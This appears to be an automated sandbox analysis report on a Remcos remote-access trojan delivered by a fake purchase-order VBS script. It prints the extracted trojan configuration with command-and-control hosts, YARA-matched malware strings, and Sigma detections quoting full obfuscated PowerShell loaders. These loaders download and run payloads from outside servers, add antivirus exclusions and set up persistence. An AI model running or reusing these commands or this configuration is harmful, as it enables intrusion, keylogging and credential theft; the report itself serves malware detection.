{"Host:Port:Password": "2harbu03.duckdns.org:3980:0janbours92harbu04.duckdns.org:3981:1janbours92harbu007.duckdns.org:3981:1", "Assigned name": "MANIFESTATIONS", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "Rmc-NACZDT", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
          0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
            0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              Click to see the 34 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              13.2.powershell.exe.20b6fc69a78.1.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
                13.2.powershell.exe.20b6fc69a78.1.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
                  13.2.powershell.exe.20b6fc69a78.1.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                    13.2.powershell.exe.20b6fc69a78.1.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                    • 0x690b8:$a1: Remcos restarted by watchdog!
                    • 0x69630:$a3: %02i:%02i:%02i:%03i
                    13.2.powershell.exe.20b6fc69a78.1.unpackREMCOS_RAT_variantsunknownunknown
                    • 0x6310c:$str_a1: C:\Windows\System32\cmd.exe
                    • 0x63088:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                    • 0x63088:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                    • 0x63588:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                    • 0x63db8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                    • 0x6317c:$str_b2: Executing file:
                    • 0x641fc:$str_b3: GetDirectListeningPort
                    • 0x63ba8:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                    • 0x63d28:$str_b7: \update.vbs
                    • 0x631a4:$str_b9: Downloaded file:
                    • 0x63190:$str_b10: Downloading file:
                    • 0x63234:$str_b12: Failed to upload file:
                    • 0x641c4:$str_b13: StartForward
                    • 0x641e4:$str_b14: StopForward
                    • 0x63c80:$str_b15: fso.DeleteFile "
                    • 0x63c14:$str_b16: On Error Resume Next
                    • 0x63cb0:$str_b17: fso.DeleteFolder "
                    • 0x63224:$str_b18: Uploaded file:
                    • 0x631e4:$str_b19: Unable to delete:
                    • 0x63c48:$str_b20: while fso.FileExists("
                    • 0x636c1:$str_c0: [Firefox StoredLogins not found]
                    Click to see the 45 entries

                    Other

                    SourceRuleDescriptionAuthorStrings
                    amsi64_3700.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

                      Sigma Signatures

                      System Summary

                      barindex
                      Sigma detected: Base64 Encoded PowerShell Command Detected
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwAR
                      Sigma detected: Potential PowerShell Command Line Obfuscation
                      Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwAR
                      Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                      Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net
                      Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwAR
                      Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3700, ParentProcessName: powershell.exe, ProcessCommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, ProcessId: 3744, ProcessName: powershell.exe
                      Sigma detected: WScript or CScript Dropper
                      Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", CommandLine|base64offset|contains: >, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", ProcessId: 796, ProcessName: wscript.exe
                      Sigma detected: Change PowerShell Policies to an Insecure Level
                      Source: Process startedAuthor: frack113: Data: Command: powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1", CommandLine: powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3700, ParentProcessName: powershell.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1", ProcessId: 7192, Process
                      Sigma detected: CurrentVersion Autorun Keys Modification
